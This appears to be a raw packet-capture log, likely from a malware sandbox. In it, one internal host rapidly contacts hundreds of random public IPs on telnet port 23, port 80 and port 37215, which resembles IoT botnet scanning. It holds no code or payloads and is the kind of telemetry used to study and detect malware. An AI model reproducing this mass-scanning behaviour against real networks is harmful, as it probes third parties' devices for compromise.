Jan 5, 2025 14:34:54.997796059 CET	29476	23	192.168.2.13	157.78.130.110
Jan 5, 2025 14:34:54.997812033 CET	29476	23	192.168.2.13	52.85.65.77
Jan 5, 2025 14:34:54.997812033 CET	29476	23	192.168.2.13	90.159.101.228
Jan 5, 2025 14:34:54.997816086 CET	29476	23	192.168.2.13	124.133.222.162
Jan 5, 2025 14:34:54.997819901 CET	29476	23	192.168.2.13	194.194.78.3
Jan 5, 2025 14:34:54.997829914 CET	29476	23	192.168.2.13	118.250.146.63
Jan 5, 2025 14:34:54.997838020 CET	29476	23	192.168.2.13	23.11.85.168
Jan 5, 2025 14:34:54.997843981 CET	29476	23	192.168.2.13	48.239.153.219
Jan 5, 2025 14:34:54.997855902 CET	29476	23	192.168.2.13	200.218.106.148
Jan 5, 2025 14:34:54.997857094 CET	29476	23	192.168.2.13	67.16.201.59
Jan 5, 2025 14:34:54.997865915 CET	29476	23	192.168.2.13	46.43.35.213
Jan 5, 2025 14:34:54.997865915 CET	29476	23	192.168.2.13	221.141.1.101
Jan 5, 2025 14:34:54.997867107 CET	29476	23	192.168.2.13	138.20.175.8
Jan 5, 2025 14:34:54.997867107 CET	29476	23	192.168.2.13	147.37.166.100
Jan 5, 2025 14:34:54.997872114 CET	29476	23	192.168.2.13	174.206.171.151
Jan 5, 2025 14:34:54.997875929 CET	29476	23	192.168.2.13	139.250.105.234
Jan 5, 2025 14:34:54.997878075 CET	29476	23	192.168.2.13	103.125.97.70
Jan 5, 2025 14:34:54.997879028 CET	29476	23	192.168.2.13	82.250.172.206
Jan 5, 2025 14:34:54.997879028 CET	29476	23	192.168.2.13	81.36.175.37
Jan 5, 2025 14:34:54.997879028 CET	29476	23	192.168.2.13	203.58.69.87
Jan 5, 2025 14:34:54.997900963 CET	29476	23	192.168.2.13	81.37.217.64
Jan 5, 2025 14:34:54.997900963 CET	29476	23	192.168.2.13	205.143.51.34
Jan 5, 2025 14:34:54.997909069 CET	29476	23	192.168.2.13	60.82.87.247
Jan 5, 2025 14:34:54.997912884 CET	29476	23	192.168.2.13	168.90.120.29
Jan 5, 2025 14:34:54.997925997 CET	29476	23	192.168.2.13	42.76.124.51
Jan 5, 2025 14:34:54.997929096 CET	29476	23	192.168.2.13	38.74.106.217
Jan 5, 2025 14:34:54.997930050 CET	29476	23	192.168.2.13	154.209.235.62
Jan 5, 2025 14:34:54.997931957 CET	29476	23	192.168.2.13	5.200.31.243
Jan 5, 2025 14:34:54.997946024 CET	29476	23	192.168.2.13	8.254.174.168
Jan 5, 2025 14:34:54.997951031 CET	29476	23	192.168.2.13	103.117.96.248
Jan 5, 2025 14:34:54.997956038 CET	29476	23	192.168.2.13	46.196.243.35
Jan 5, 2025 14:34:54.997956038 CET	29476	23	192.168.2.13	202.192.123.96
Jan 5, 2025 14:34:54.997956038 CET	29476	23	192.168.2.13	92.210.8.176
Jan 5, 2025 14:34:54.997972012 CET	29476	23	192.168.2.13	201.230.72.118
Jan 5, 2025 14:34:54.997972012 CET	29476	23	192.168.2.13	190.133.189.168
Jan 5, 2025 14:34:54.997984886 CET	29476	23	192.168.2.13	72.90.125.9
Jan 5, 2025 14:34:54.998018980 CET	29476	23	192.168.2.13	128.203.102.13
Jan 5, 2025 14:34:54.998018980 CET	29476	23	192.168.2.13	113.35.214.126
Jan 5, 2025 14:34:54.998018980 CET	29476	23	192.168.2.13	2.48.48.48
Jan 5, 2025 14:34:54.998018980 CET	29476	23	192.168.2.13	104.112.132.112
Jan 5, 2025 14:34:54.998020887 CET	29476	23	192.168.2.13	81.228.93.67
Jan 5, 2025 14:34:54.998022079 CET	29476	23	192.168.2.13	25.36.190.35
Jan 5, 2025 14:34:54.998027086 CET	29476	23	192.168.2.13	177.144.168.9
Jan 5, 2025 14:34:54.998030901 CET	29476	23	192.168.2.13	209.88.10.61
Jan 5, 2025 14:34:54.998030901 CET	29476	23	192.168.2.13	13.223.62.123
Jan 5, 2025 14:34:54.998030901 CET	29476	23	192.168.2.13	77.112.148.143
Jan 5, 2025 14:34:54.998030901 CET	29476	23	192.168.2.13	110.192.94.109
Jan 5, 2025 14:34:54.998035908 CET	29476	23	192.168.2.13	17.160.122.231
Jan 5, 2025 14:34:54.998035908 CET	29476	23	192.168.2.13	189.74.226.75
Jan 5, 2025 14:34:54.998040915 CET	29476	23	192.168.2.13	179.158.137.86
Jan 5, 2025 14:34:54.998044014 CET	29476	23	192.168.2.13	179.82.13.7
Jan 5, 2025 14:34:54.998047113 CET	29476	23	192.168.2.13	52.111.162.145
Jan 5, 2025 14:34:54.998060942 CET	29476	23	192.168.2.13	43.172.194.184
Jan 5, 2025 14:34:54.998064041 CET	29476	23	192.168.2.13	67.174.200.200
Jan 5, 2025 14:34:54.998079062 CET	29476	23	192.168.2.13	66.201.240.225
Jan 5, 2025 14:34:54.998083115 CET	29476	23	192.168.2.13	70.133.45.116
Jan 5, 2025 14:34:54.998084068 CET	29476	23	192.168.2.13	71.48.14.171
Jan 5, 2025 14:34:54.998092890 CET	29476	23	192.168.2.13	14.118.110.65
Jan 5, 2025 14:34:54.998100042 CET	29476	23	192.168.2.13	42.255.48.205
Jan 5, 2025 14:34:54.998100042 CET	29476	23	192.168.2.13	88.204.177.163
Jan 5, 2025 14:34:54.998111010 CET	29476	23	192.168.2.13	149.36.30.63
Jan 5, 2025 14:34:54.998116016 CET	29476	23	192.168.2.13	153.201.234.152
Jan 5, 2025 14:34:54.998120070 CET	29476	23	192.168.2.13	72.120.238.73
Jan 5, 2025 14:34:54.998133898 CET	29476	23	192.168.2.13	48.135.189.181
Jan 5, 2025 14:34:54.998133898 CET	29476	23	192.168.2.13	176.11.248.7
Jan 5, 2025 14:34:54.998147011 CET	29476	23	192.168.2.13	132.101.234.26
Jan 5, 2025 14:34:54.998147011 CET	29476	23	192.168.2.13	78.31.252.145
Jan 5, 2025 14:34:54.998151064 CET	29476	23	192.168.2.13	139.132.206.36
Jan 5, 2025 14:34:54.998191118 CET	29476	23	192.168.2.13	71.175.53.239
Jan 5, 2025 14:34:54.998193026 CET	29476	23	192.168.2.13	72.163.46.151
Jan 5, 2025 14:34:54.998193026 CET	29476	23	192.168.2.13	135.192.46.18
Jan 5, 2025 14:34:54.998194933 CET	29476	23	192.168.2.13	104.38.165.9
Jan 5, 2025 14:34:54.998203039 CET	29476	23	192.168.2.13	54.226.163.7
Jan 5, 2025 14:34:54.998204947 CET	29476	23	192.168.2.13	136.181.20.122
Jan 5, 2025 14:34:54.998204947 CET	29476	23	192.168.2.13	205.214.51.119
Jan 5, 2025 14:34:54.998207092 CET	29476	23	192.168.2.13	83.64.140.254
Jan 5, 2025 14:34:54.998213053 CET	29476	23	192.168.2.13	175.152.200.224
Jan 5, 2025 14:34:54.998223066 CET	29476	23	192.168.2.13	177.31.65.175
Jan 5, 2025 14:34:54.998231888 CET	29476	23	192.168.2.13	114.245.60.218
Jan 5, 2025 14:34:54.998236895 CET	29476	23	192.168.2.13	93.126.245.101
Jan 5, 2025 14:34:54.998240948 CET	29476	23	192.168.2.13	9.83.225.231
Jan 5, 2025 14:34:54.998255014 CET	29476	23	192.168.2.13	184.230.219.106
Jan 5, 2025 14:34:54.998261929 CET	29476	23	192.168.2.13	25.80.145.159
Jan 5, 2025 14:34:54.998265028 CET	29476	23	192.168.2.13	37.68.180.164
Jan 5, 2025 14:34:54.998267889 CET	29476	23	192.168.2.13	101.25.184.178
Jan 5, 2025 14:34:54.998280048 CET	29476	23	192.168.2.13	114.175.94.135
Jan 5, 2025 14:34:54.998281002 CET	29476	23	192.168.2.13	93.97.55.232
Jan 5, 2025 14:34:54.998281002 CET	29476	23	192.168.2.13	41.201.193.47
Jan 5, 2025 14:34:54.998311043 CET	29476	23	192.168.2.13	114.79.213.188
Jan 5, 2025 14:34:54.998311996 CET	29476	23	192.168.2.13	89.187.144.246
Jan 5, 2025 14:34:54.998316050 CET	29476	23	192.168.2.13	82.101.128.182
Jan 5, 2025 14:34:54.998316050 CET	29476	23	192.168.2.13	52.60.139.196
Jan 5, 2025 14:34:54.998318911 CET	29476	23	192.168.2.13	137.150.254.128
Jan 5, 2025 14:34:54.998332977 CET	29476	23	192.168.2.13	8.79.185.178
Jan 5, 2025 14:34:54.998332977 CET	29476	23	192.168.2.13	84.208.198.211
Jan 5, 2025 14:34:54.998337984 CET	29476	23	192.168.2.13	54.28.161.253
Jan 5, 2025 14:34:54.998341084 CET	29476	23	192.168.2.13	192.41.123.141
Jan 5, 2025 14:34:54.998346090 CET	29476	23	192.168.2.13	158.186.85.62
Jan 5, 2025 14:34:54.998354912 CET	29476	23	192.168.2.13	183.177.134.180
Jan 5, 2025 14:34:54.998363018 CET	29476	23	192.168.2.13	133.251.64.41
Jan 5, 2025 14:34:54.998369932 CET	29476	23	192.168.2.13	192.127.46.44
Jan 5, 2025 14:34:54.998374939 CET	29476	23	192.168.2.13	52.149.106.161
Jan 5, 2025 14:34:54.998388052 CET	29476	23	192.168.2.13	105.142.88.202
Jan 5, 2025 14:34:54.998395920 CET	29476	23	192.168.2.13	180.241.137.112
Jan 5, 2025 14:34:54.998395920 CET	29476	23	192.168.2.13	86.201.61.218
Jan 5, 2025 14:34:54.998395920 CET	29476	23	192.168.2.13	103.59.51.152
Jan 5, 2025 14:34:54.998395920 CET	29476	23	192.168.2.13	220.124.175.154
Jan 5, 2025 14:34:54.998414993 CET	29476	23	192.168.2.13	119.191.182.142
Jan 5, 2025 14:34:54.998416901 CET	29476	23	192.168.2.13	173.177.6.162
Jan 5, 2025 14:34:54.998420000 CET	29476	23	192.168.2.13	109.108.217.134
Jan 5, 2025 14:34:54.998423100 CET	29476	23	192.168.2.13	186.123.143.220
Jan 5, 2025 14:34:54.998423100 CET	29476	23	192.168.2.13	204.47.206.183
Jan 5, 2025 14:34:54.998423100 CET	29476	23	192.168.2.13	20.132.30.120
Jan 5, 2025 14:34:54.998435974 CET	29476	23	192.168.2.13	163.106.141.2
Jan 5, 2025 14:34:54.998435974 CET	29476	23	192.168.2.13	145.160.58.11
Jan 5, 2025 14:34:54.998445988 CET	29476	23	192.168.2.13	190.156.135.150
Jan 5, 2025 14:34:54.998454094 CET	29476	23	192.168.2.13	65.65.159.115
Jan 5, 2025 14:34:54.998467922 CET	29476	23	192.168.2.13	124.182.35.142
Jan 5, 2025 14:34:54.998470068 CET	29476	23	192.168.2.13	49.152.27.96
Jan 5, 2025 14:34:54.998473883 CET	29476	23	192.168.2.13	155.105.126.81
Jan 5, 2025 14:34:54.998481035 CET	29476	23	192.168.2.13	66.41.234.62
Jan 5, 2025 14:34:54.998486042 CET	29476	23	192.168.2.13	184.217.168.57
Jan 5, 2025 14:34:54.998487949 CET	29476	23	192.168.2.13	31.49.186.180
Jan 5, 2025 14:34:54.998506069 CET	29476	23	192.168.2.13	196.195.80.12
Jan 5, 2025 14:34:54.998511076 CET	29476	23	192.168.2.13	211.183.17.31
Jan 5, 2025 14:34:54.998519897 CET	29476	23	192.168.2.13	92.61.121.214
Jan 5, 2025 14:34:54.998519897 CET	29476	23	192.168.2.13	122.135.89.122
Jan 5, 2025 14:34:54.998534918 CET	29476	23	192.168.2.13	20.144.171.171
Jan 5, 2025 14:34:54.998543978 CET	29476	23	192.168.2.13	23.221.89.4
Jan 5, 2025 14:34:54.998547077 CET	29476	23	192.168.2.13	134.240.53.214
Jan 5, 2025 14:34:54.998547077 CET	29476	23	192.168.2.13	173.8.90.172
Jan 5, 2025 14:34:54.998554945 CET	29476	23	192.168.2.13	165.225.113.22
Jan 5, 2025 14:34:54.998554945 CET	29476	23	192.168.2.13	213.133.213.190
Jan 5, 2025 14:34:54.998563051 CET	29476	23	192.168.2.13	99.165.135.97
Jan 5, 2025 14:34:54.998574972 CET	29476	23	192.168.2.13	62.70.77.238
Jan 5, 2025 14:34:54.998584986 CET	29476	23	192.168.2.13	67.135.83.106
Jan 5, 2025 14:34:54.998584986 CET	29476	23	192.168.2.13	201.252.114.152
Jan 5, 2025 14:34:54.998584986 CET	29476	23	192.168.2.13	32.62.189.211
Jan 5, 2025 14:34:54.998593092 CET	29476	23	192.168.2.13	123.125.175.155
Jan 5, 2025 14:34:54.998604059 CET	29476	23	192.168.2.13	218.154.92.239
Jan 5, 2025 14:34:54.998604059 CET	29476	23	192.168.2.13	171.166.169.106
Jan 5, 2025 14:34:54.998621941 CET	29476	23	192.168.2.13	141.61.38.168
Jan 5, 2025 14:34:54.998621941 CET	29476	23	192.168.2.13	149.67.247.231
Jan 5, 2025 14:34:54.998634100 CET	29476	23	192.168.2.13	23.185.199.173
Jan 5, 2025 14:34:54.998634100 CET	29476	23	192.168.2.13	193.42.45.27
Jan 5, 2025 14:34:54.998637915 CET	29476	23	192.168.2.13	74.108.221.115
Jan 5, 2025 14:34:54.998642921 CET	29476	23	192.168.2.13	14.122.247.118
Jan 5, 2025 14:34:54.998656034 CET	29476	23	192.168.2.13	138.114.129.155
Jan 5, 2025 14:34:54.998658895 CET	29476	23	192.168.2.13	187.152.101.151
Jan 5, 2025 14:34:54.998663902 CET	29476	23	192.168.2.13	64.221.144.155
Jan 5, 2025 14:34:54.998670101 CET	29476	23	192.168.2.13	98.96.134.34
Jan 5, 2025 14:34:54.998670101 CET	29476	23	192.168.2.13	134.239.131.164
Jan 5, 2025 14:34:54.998689890 CET	29476	23	192.168.2.13	217.237.21.87
Jan 5, 2025 14:34:54.998692036 CET	29476	23	192.168.2.13	114.68.6.90
Jan 5, 2025 14:34:54.998692036 CET	29476	23	192.168.2.13	43.184.141.192
Jan 5, 2025 14:34:54.998703957 CET	29476	23	192.168.2.13	133.186.238.190
Jan 5, 2025 14:34:54.998703957 CET	29476	23	192.168.2.13	172.54.178.63
Jan 5, 2025 14:34:54.998704910 CET	29476	23	192.168.2.13	123.188.210.131
Jan 5, 2025 14:34:54.998717070 CET	29476	23	192.168.2.13	70.42.227.192
Jan 5, 2025 14:34:54.998717070 CET	29476	23	192.168.2.13	210.106.52.40
Jan 5, 2025 14:34:54.998733997 CET	29476	23	192.168.2.13	96.238.54.204
Jan 5, 2025 14:34:54.998740911 CET	29476	23	192.168.2.13	154.196.167.179
Jan 5, 2025 14:34:54.998754978 CET	29476	23	192.168.2.13	110.103.28.116
Jan 5, 2025 14:34:54.998764038 CET	29476	23	192.168.2.13	204.151.56.250
Jan 5, 2025 14:34:54.998765945 CET	29476	23	192.168.2.13	2.186.202.3
Jan 5, 2025 14:34:54.998768091 CET	29476	23	192.168.2.13	67.190.246.250
Jan 5, 2025 14:34:54.998773098 CET	29476	23	192.168.2.13	59.153.79.17
Jan 5, 2025 14:34:54.998781919 CET	29476	23	192.168.2.13	31.149.31.48
Jan 5, 2025 14:34:54.998790026 CET	29476	23	192.168.2.13	68.25.15.34
Jan 5, 2025 14:34:54.998794079 CET	29476	23	192.168.2.13	58.70.40.144
Jan 5, 2025 14:34:54.998805046 CET	29476	23	192.168.2.13	162.168.78.212
Jan 5, 2025 14:34:54.998809099 CET	29476	23	192.168.2.13	181.85.80.20
Jan 5, 2025 14:34:54.998811007 CET	29476	23	192.168.2.13	24.158.188.154
Jan 5, 2025 14:34:54.998830080 CET	29476	23	192.168.2.13	220.61.62.145
Jan 5, 2025 14:34:54.998830080 CET	29476	23	192.168.2.13	36.52.181.141
Jan 5, 2025 14:34:54.998835087 CET	29476	23	192.168.2.13	84.95.21.67
Jan 5, 2025 14:34:54.998840094 CET	29476	23	192.168.2.13	143.169.168.173
Jan 5, 2025 14:34:54.998846054 CET	29476	23	192.168.2.13	120.242.179.77
Jan 5, 2025 14:34:54.998853922 CET	29476	23	192.168.2.13	94.142.163.226
Jan 5, 2025 14:34:54.998861074 CET	29476	23	192.168.2.13	8.249.80.71
Jan 5, 2025 14:34:54.998866081 CET	29476	23	192.168.2.13	13.51.253.241
Jan 5, 2025 14:34:54.998867035 CET	29476	23	192.168.2.13	164.20.145.114
Jan 5, 2025 14:34:54.998872995 CET	29476	23	192.168.2.13	216.175.159.9
Jan 5, 2025 14:34:54.998886108 CET	29476	23	192.168.2.13	113.199.250.8
Jan 5, 2025 14:34:54.998886108 CET	29476	23	192.168.2.13	145.63.73.130
Jan 5, 2025 14:34:54.998891115 CET	29476	23	192.168.2.13	53.169.39.115
Jan 5, 2025 14:34:54.998903990 CET	29476	23	192.168.2.13	79.205.105.43
Jan 5, 2025 14:34:54.998908997 CET	29476	23	192.168.2.13	204.86.90.87
Jan 5, 2025 14:34:55.002459049 CET	23	29476	220.142.48.57	192.168.2.13
Jan 5, 2025 14:34:55.002468109 CET	23	29476	32.195.139.165	192.168.2.13
Jan 5, 2025 14:34:55.002511978 CET	29476	23	192.168.2.13	220.142.48.57
Jan 5, 2025 14:34:55.002516985 CET	29476	23	192.168.2.13	32.195.139.165
Jan 5, 2025 14:34:55.088289976 CET	39804	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:55.088290930 CET	44432	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:55.088291883 CET	36312	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:55.088291883 CET	39838	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.088294983 CET	44232	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:55.088290930 CET	45156	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:55.088291883 CET	42210	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:55.088303089 CET	50074	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:55.088303089 CET	37630	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:55.088311911 CET	34800	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:55.088325024 CET	41684	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:55.088326931 CET	38644	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:55.088326931 CET	41514	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:55.088326931 CET	47902	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:55.088326931 CET	43424	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:55.088326931 CET	55324	37215	192.168.2.13	197.196.5.50
Jan 5, 2025 14:34:55.088326931 CET	37412	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:55.088326931 CET	59512	37215	192.168.2.13	156.195.220.109
Jan 5, 2025 14:34:55.093086004 CET	80	39804	72.145.72.193	192.168.2.13
Jan 5, 2025 14:34:55.093096972 CET	80	39838	95.67.170.147	192.168.2.13
Jan 5, 2025 14:34:55.093107939 CET	80	36312	203.249.13.96	192.168.2.13
Jan 5, 2025 14:34:55.093142986 CET	39804	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:55.093153000 CET	39838	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:55.093156099 CET	36312	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:55.093194008 CET	80	44432	92.178.11.42	192.168.2.13
Jan 5, 2025 14:34:55.093204021 CET	80	42210	120.75.215.22	192.168.2.13
Jan 5, 2025 14:34:55.093214035 CET	37215	44232	41.252.167.172	192.168.2.13
Jan 5, 2025 14:34:55.093224049 CET	80	50074	95.145.163.29	192.168.2.13
Jan 5, 2025 14:34:55.093233109 CET	37215	45156	156.29.43.93	192.168.2.13
Jan 5, 2025 14:34:55.093239069 CET	42210	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:55.093241930 CET	80	37630	143.189.106.192	192.168.2.13
Jan 5, 2025 14:34:55.093261003 CET	44432	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:55.093261003 CET	45156	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:55.093265057 CET	44232	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:55.093266010 CET	50074	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:55.093266010 CET	37630	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:55.093300104 CET	39804	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:55.093329906 CET	29477	80	192.168.2.13	113.34.230.152
Jan 5, 2025 14:34:55.093334913 CET	29477	80	192.168.2.13	106.117.128.250
Jan 5, 2025 14:34:55.093349934 CET	29477	80	192.168.2.13	100.192.103.230
Jan 5, 2025 14:34:55.093355894 CET	29477	80	192.168.2.13	161.125.182.30
Jan 5, 2025 14:34:55.093363047 CET	29477	80	192.168.2.13	123.168.104.136
Jan 5, 2025 14:34:55.093370914 CET	29477	80	192.168.2.13	73.240.58.150
Jan 5, 2025 14:34:55.093372107 CET	45156	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:55.093375921 CET	29477	80	192.168.2.13	191.192.255.190
Jan 5, 2025 14:34:55.093389034 CET	29477	80	192.168.2.13	181.229.206.151
Jan 5, 2025 14:34:55.093389034 CET	44232	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:55.093393087 CET	29477	80	192.168.2.13	72.0.242.201
Jan 5, 2025 14:34:55.093400002 CET	29477	80	192.168.2.13	193.214.28.99
Jan 5, 2025 14:34:55.093411922 CET	29477	80	192.168.2.13	201.236.62.37
Jan 5, 2025 14:34:55.093415976 CET	29477	80	192.168.2.13	191.24.180.27
Jan 5, 2025 14:34:55.093421936 CET	29477	80	192.168.2.13	8.47.235.183
Jan 5, 2025 14:34:55.093421936 CET	29477	80	192.168.2.13	84.160.210.80
Jan 5, 2025 14:34:55.093435049 CET	29479	37215	192.168.2.13	41.239.183.8
Jan 5, 2025 14:34:55.093435049 CET	29477	80	192.168.2.13	182.140.194.223
Jan 5, 2025 14:34:55.093435049 CET	29479	37215	192.168.2.13	197.78.159.154
Jan 5, 2025 14:34:55.093435049 CET	29479	37215	192.168.2.13	197.59.43.253
Jan 5, 2025 14:34:55.093435049 CET	29477	80	192.168.2.13	164.152.96.253
Jan 5, 2025 14:34:55.093441010 CET	29479	37215	192.168.2.13	41.44.244.70
Jan 5, 2025 14:34:55.093444109 CET	29477	80	192.168.2.13	122.130.135.150
Jan 5, 2025 14:34:55.093444109 CET	29477	80	192.168.2.13	58.203.174.57
Jan 5, 2025 14:34:55.093451023 CET	29477	80	192.168.2.13	178.221.50.4
Jan 5, 2025 14:34:55.093461037 CET	29477	80	192.168.2.13	27.130.214.88
Jan 5, 2025 14:34:55.093471050 CET	29479	37215	192.168.2.13	197.101.121.183
Jan 5, 2025 14:34:55.093472004 CET	29477	80	192.168.2.13	138.59.236.85
Jan 5, 2025 14:34:55.093472004 CET	29479	37215	192.168.2.13	197.232.127.196
Jan 5, 2025 14:34:55.093472004 CET	29477	80	192.168.2.13	114.72.138.171
Jan 5, 2025 14:34:55.093491077 CET	29479	37215	192.168.2.13	156.79.197.119
Jan 5, 2025 14:34:55.093492031 CET	29477	80	192.168.2.13	212.183.134.9
Jan 5, 2025 14:34:55.093492031 CET	29479	37215	192.168.2.13	41.23.128.97
Jan 5, 2025 14:34:55.093492985 CET	29477	80	192.168.2.13	126.9.12.193
Jan 5, 2025 14:34:55.093492985 CET	29477	80	192.168.2.13	209.107.67.19
Jan 5, 2025 14:34:55.093492031 CET	29477	80	192.168.2.13	111.1.26.174
Jan 5, 2025 14:34:55.093494892 CET	29477	80	192.168.2.13	191.225.230.215
Jan 5, 2025 14:34:55.093516111 CET	29479	37215	192.168.2.13	41.50.202.93
Jan 5, 2025 14:34:55.093516111 CET	29479	37215	192.168.2.13	156.86.249.130
Jan 5, 2025 14:34:55.093516111 CET	29479	37215	192.168.2.13	41.33.186.108
Jan 5, 2025 14:34:55.093518019 CET	29479	37215	192.168.2.13	197.207.240.49
Jan 5, 2025 14:34:55.093518019 CET	29477	80	192.168.2.13	199.28.119.58
Jan 5, 2025 14:34:55.093518019 CET	29479	37215	192.168.2.13	41.28.158.18
Jan 5, 2025 14:34:55.093518019 CET	29477	80	192.168.2.13	192.153.238.89
Jan 5, 2025 14:34:55.093519926 CET	29477	80	192.168.2.13	54.248.199.34
Jan 5, 2025 14:34:55.093519926 CET	29479	37215	192.168.2.13	41.220.70.174
Jan 5, 2025 14:34:55.093519926 CET	29477	80	192.168.2.13	143.200.15.157
Jan 5, 2025 14:34:55.093519926 CET	29477	80	192.168.2.13	36.140.14.39
Jan 5, 2025 14:34:55.093519926 CET	29479	37215	192.168.2.13	156.137.165.98
Jan 5, 2025 14:34:55.093519926 CET	29477	80	192.168.2.13	195.154.206.243
Jan 5, 2025 14:34:55.093519926 CET	29477	80	192.168.2.13	50.12.102.158
Jan 5, 2025 14:34:55.093519926 CET	29477	80	192.168.2.13	95.181.182.236
Jan 5, 2025 14:34:55.093528032 CET	29477	80	192.168.2.13	25.17.162.116
Jan 5, 2025 14:34:55.093529940 CET	29477	80	192.168.2.13	91.116.3.23
Jan 5, 2025 14:34:55.093529940 CET	29477	80	192.168.2.13	8.53.239.102
Jan 5, 2025 14:34:55.093533039 CET	29477	80	192.168.2.13	167.64.26.17
Jan 5, 2025 14:34:55.093533039 CET	29479	37215	192.168.2.13	156.218.97.100
Jan 5, 2025 14:34:55.093533993 CET	29479	37215	192.168.2.13	41.190.142.38
Jan 5, 2025 14:34:55.093540907 CET	29479	37215	192.168.2.13	197.74.32.89
Jan 5, 2025 14:34:55.093540907 CET	29477	80	192.168.2.13	73.117.154.111
Jan 5, 2025 14:34:55.093542099 CET	29479	37215	192.168.2.13	197.90.243.192
Jan 5, 2025 14:34:55.093542099 CET	29477	80	192.168.2.13	86.131.157.227
Jan 5, 2025 14:34:55.093563080 CET	29477	80	192.168.2.13	116.235.67.81
Jan 5, 2025 14:34:55.093563080 CET	29477	80	192.168.2.13	104.173.49.117
Jan 5, 2025 14:34:55.093563080 CET	29479	37215	192.168.2.13	41.88.13.38
Jan 5, 2025 14:34:55.093564987 CET	29477	80	192.168.2.13	174.1.223.77
Jan 5, 2025 14:34:55.093564987 CET	29479	37215	192.168.2.13	156.204.107.5
Jan 5, 2025 14:34:55.093565941 CET	29477	80	192.168.2.13	126.16.8.116
Jan 5, 2025 14:34:55.093565941 CET	29477	80	192.168.2.13	213.168.82.133
Jan 5, 2025 14:34:55.093566895 CET	29479	37215	192.168.2.13	197.173.4.88
Jan 5, 2025 14:34:55.093566895 CET	29479	37215	192.168.2.13	41.245.199.249
Jan 5, 2025 14:34:55.093566895 CET	29479	37215	192.168.2.13	41.35.109.32
Jan 5, 2025 14:34:55.093565941 CET	29479	37215	192.168.2.13	156.237.84.111
Jan 5, 2025 14:34:55.093566895 CET	29477	80	192.168.2.13	66.174.124.246
Jan 5, 2025 14:34:55.093566895 CET	29479	37215	192.168.2.13	156.105.182.87
Jan 5, 2025 14:34:55.093568087 CET	29479	37215	192.168.2.13	41.7.254.186
Jan 5, 2025 14:34:55.093566895 CET	29479	37215	192.168.2.13	41.41.84.160
Jan 5, 2025 14:34:55.093568087 CET	29477	80	192.168.2.13	173.145.109.68
Jan 5, 2025 14:34:55.093569040 CET	29479	37215	192.168.2.13	156.185.151.117
Jan 5, 2025 14:34:55.093569040 CET	29477	80	192.168.2.13	103.28.9.244
Jan 5, 2025 14:34:55.093569040 CET	29477	80	192.168.2.13	134.154.110.3
Jan 5, 2025 14:34:55.093588114 CET	29479	37215	192.168.2.13	41.166.12.56
Jan 5, 2025 14:34:55.093588114 CET	29477	80	192.168.2.13	85.233.70.239
Jan 5, 2025 14:34:55.093590975 CET	29477	80	192.168.2.13	145.56.109.42
Jan 5, 2025 14:34:55.093590975 CET	29479	37215	192.168.2.13	156.233.193.123
Jan 5, 2025 14:34:55.093590975 CET	29477	80	192.168.2.13	106.12.44.153
Jan 5, 2025 14:34:55.093592882 CET	29477	80	192.168.2.13	142.213.90.32
Jan 5, 2025 14:34:55.093594074 CET	29477	80	192.168.2.13	45.2.231.47
Jan 5, 2025 14:34:55.093594074 CET	29477	80	192.168.2.13	140.102.186.165
Jan 5, 2025 14:34:55.093595028 CET	29477	80	192.168.2.13	114.35.236.84
Jan 5, 2025 14:34:55.093595028 CET	29477	80	192.168.2.13	35.33.192.60
Jan 5, 2025 14:34:55.093595028 CET	29479	37215	192.168.2.13	156.168.245.232
Jan 5, 2025 14:34:55.093595028 CET	29479	37215	192.168.2.13	197.26.133.128
Jan 5, 2025 14:34:55.093595028 CET	29479	37215	192.168.2.13	41.8.7.26
Jan 5, 2025 14:34:55.093595028 CET	29479	37215	192.168.2.13	41.145.237.198
Jan 5, 2025 14:34:55.093595028 CET	29477	80	192.168.2.13	4.21.195.224
Jan 5, 2025 14:34:55.093596935 CET	29479	37215	192.168.2.13	197.137.70.8
Jan 5, 2025 14:34:55.093595028 CET	29479	37215	192.168.2.13	156.125.199.243
Jan 5, 2025 14:34:55.093597889 CET	29479	37215	192.168.2.13	197.252.39.216
Jan 5, 2025 14:34:55.093595028 CET	29479	37215	192.168.2.13	41.229.192.81
Jan 5, 2025 14:34:55.093597889 CET	29479	37215	192.168.2.13	156.2.139.208
Jan 5, 2025 14:34:55.093617916 CET	29479	37215	192.168.2.13	41.189.13.12
Jan 5, 2025 14:34:55.093619108 CET	29477	80	192.168.2.13	35.216.144.23
Jan 5, 2025 14:34:55.093620062 CET	29479	37215	192.168.2.13	156.154.212.222
Jan 5, 2025 14:34:55.093620062 CET	29477	80	192.168.2.13	210.185.185.138
Jan 5, 2025 14:34:55.093620062 CET	29477	80	192.168.2.13	20.255.213.189
Jan 5, 2025 14:34:55.093621016 CET	29479	37215	192.168.2.13	156.34.110.166
Jan 5, 2025 14:34:55.093621016 CET	29477	80	192.168.2.13	143.16.21.218
Jan 5, 2025 14:34:55.093625069 CET	29479	37215	192.168.2.13	41.124.124.249
Jan 5, 2025 14:34:55.093621016 CET	29477	80	192.168.2.13	217.122.241.56
